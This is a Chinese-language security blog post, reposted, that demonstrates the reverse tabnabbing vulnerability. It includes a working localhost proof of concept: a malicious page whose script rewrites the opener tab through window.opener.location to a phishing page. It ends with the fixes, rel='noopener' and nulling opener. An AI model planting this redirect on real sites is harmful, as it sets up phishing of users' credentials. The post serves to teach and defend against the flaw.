原文https://xz.aliyun.com/t/7080
在先知看到的Reverse Tabnabbing这篇文章感觉还是蛮有意思的,于是自己亲自测了一下。
漏洞利用条件
- a标签拥有target属性,其值为_blank,同时没有使用rel=”noopener”
-
或window.open同样可以实现
漏洞原理
- 使用A页面的a标签进行设置为恶意网站B,于恶意网站B中产生window.opener的API去修改原先页面A的内容,修改为钓鱼页面C的内容达到钓鱼的目的。
漏洞实践
新建三个页面
A 页面为正常页面
<html>
<title>legit website</title>
<body>
<li><a href="http://localhost/b.html" target="_blank" >打开Y4的❤️</a></li>
<button onclick="window.open('http://localhost/b.html')">打开Y4的❤️</button>
</body>
</html>
B为恶意页面
主要为B页面的window.opener属性实现
<html>
<title>malicious website</title>
<body>
<script>
if (window.opener) {
window.opener.location = "http://localhost/c.html";
}else{alert("Y4不爱你");}
</script>
</body>
</html>
C页面为钓鱼网站
<!DOCTYPE html>
<html>
<head>
<title>phish website</title>
</head>
<body>
<li><a href="http://localhost/b.html" target="_blank">打开撕夜的❤️</a></li>
<button onclick="window.open('http://localhost/b.html')">打开撕夜的❤️</button>
</body>
</html>
漏洞测试
打开A页面打开进入y4的❤️

点击进入y4的❤️发现新 打开了B页面

再次查看愿页面,已经被替换了,为钓鱼界面

修复方案
-
a标签中添加rel=”noopener”
-
手动设置opener API
var otherWindow = window.open();
otherWindow.opener = null;
otherWindow.location = url;
原创文章,作者:syst1m,未经授权禁止转载!如若转载,请联系作者:syst1m